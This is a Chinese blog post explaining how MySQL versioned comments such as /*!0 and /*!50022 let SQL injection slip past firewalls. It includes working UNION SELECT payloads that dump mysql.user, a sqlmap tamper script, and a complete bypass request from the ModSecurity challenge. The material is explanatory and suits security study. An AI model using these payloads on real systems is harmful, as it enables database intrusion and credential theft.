博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MySQL注入时语句中的/*!0
阅读量:6264 次
发布时间:2019-06-22

本文共 3850 字,大约阅读时间需要 12 分钟。

1、MySQL < 5.1 畸形注入

安装:

mysql-5.0.22-win32.zip (MySQL 5.0.22-community-nt)

测试:

1043925-20170211001026697-1275635980.png

1043925-20170211000953682-791271288.png

1043925-20170211000959572-305640774.png

-1 UNION/*!50022SELECT user,version(),3,4,5,6,7/*!0from/*!0mysql.user对于关键字 /*!50022SELECT, 当关键字前面的数字小于MySQL版本号时,便可以正常执行。即/*!50022SELECT 正常执行,/*!50023SELECT 将出现语法错误。 版本为5.0.22-community-nt,那么在注入payload的关键字前加上/*!50022 在执行过程中视为关键字本身,也即这种异常字符串可当作空格处理。

2、halfversionedmorekeywords.py 使用/*!0替换空格 ###

def tamper(payload, **kwargs):    """    Adds versioned MySQL comment before each keyword    Requirement:        * MySQL < 5.1    Tested against:        * MySQL 4.0.18, 5.0.22    Notes:        * Useful to bypass several web application firewalls when the          back-end database management system is MySQL        * Used during the ModSecurity SQL injection challenge,          http://modsecurity.org/demo/challenge.html    >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"    """    def process(match):        word = match.group('word')        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:            return match.group().replace(word, "/*!0%s" % word)        else:            return match.group()    retVal = payload    if payload:        retVal = re.sub(r"(?<=\W)(?P
[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal

3、Bypass #4 by Ahmad Maulana

Example Bypass Request

POST /Kelev/php/accttransaction.php HTTP/1.1Host: www.modsecurity.orgUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-us,en;q=0.5Accept-Encoding: gzip, deflateAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7Connection: keep-aliveReferer: http://www.modsecurity.org/Kelev/php/accttransaction.phpCookie: PHPSESSID=bf65e6b31d8446e674acbe332cd3c75f;Content-Type: application/x-www-form-urlencodedContent-Length: 57hUserId=22768&FromDate=1&ToDate=1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-&sendbutton1=Get+Statement

Bypass Analyis

Ahmad's attack leveraged 2 attack techniques: 1) Unterminated Comments and, 2) MySQL Comment Extensions for conditional code execution.

Unterminated Comments

As mention prevoiusly, the t:replaceComments transformation function (with use of multiMatch) cased a severe false negative in the rules by hiding data from the final operator check.

MySQL Comment Extensions

The MySQL Comment documentation states to following about Comment Extensions:

MySQL Server supports some variants of C-style comments. These enable you to write code that includes MySQL extensions, but is still portable, by using comments of the following form:

/*! MySQL-specific code */

In this case, MySQL Server parses and executes the code within the comment as it would any other SQL statement, but other SQL servers will ignore the extensions. For example, MySQL Server recognizes theSTRAIGHT_JOIN keyword in the following statement, but other servers will not:

SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ...

If you add a version number after the "!" character, the syntax within the comment is executed only if the MySQL version is greater than or equal to the specified version number. The TEMPORARY keyword in the following comment is executed only by servers from MySQL 3.23.02 or higher:

CREATE /*!32302 TEMPORARY */ TABLE t (a INT);

The comment syntax just described applies to how the server parses SQL statements.

4、参考

1043925-20170211001004729-1700553201.png

转载于:https://www.cnblogs.com/Primzahl/p/6388480.html

你可能感兴趣的文章
【转】oracle in与exists语句的区别
查看>>
RPC 使用中的一些注意点
查看>>
Django_rest framework 框架介绍
查看>>
Hello world,Hello 2014,Bye 2013
查看>>
python之正则表达式模块
查看>>
BFC和清除浮动
查看>>
笔记:2016-06-04
查看>>
ECSHOP 布局参考图
查看>>
Entity Framework 延伸系列目录
查看>>
Java 代码安全(一) —— 避免用String储存敏感数据
查看>>
制作一个最小Linux系统
查看>>
3个著名加密算法(MD5、RSA、DES)的解析
查看>>
BBS(仿博客园系统)项目05(后台管理功能实现:文章添加、富文本编辑器使用、xss攻击、BeautifulSoup4模块、富文本编辑器上传图片、修改头像)...
查看>>
图说机房空气焓湿处理过程
查看>>
django-auth认证模块
查看>>
check build status
查看>>
int类型究竟占几个字节
查看>>
13.使用toggle()方法绑定多个函数
查看>>
springboot集成redis
查看>>
装饰器的应用-装饰器带参数和不带参数
查看>>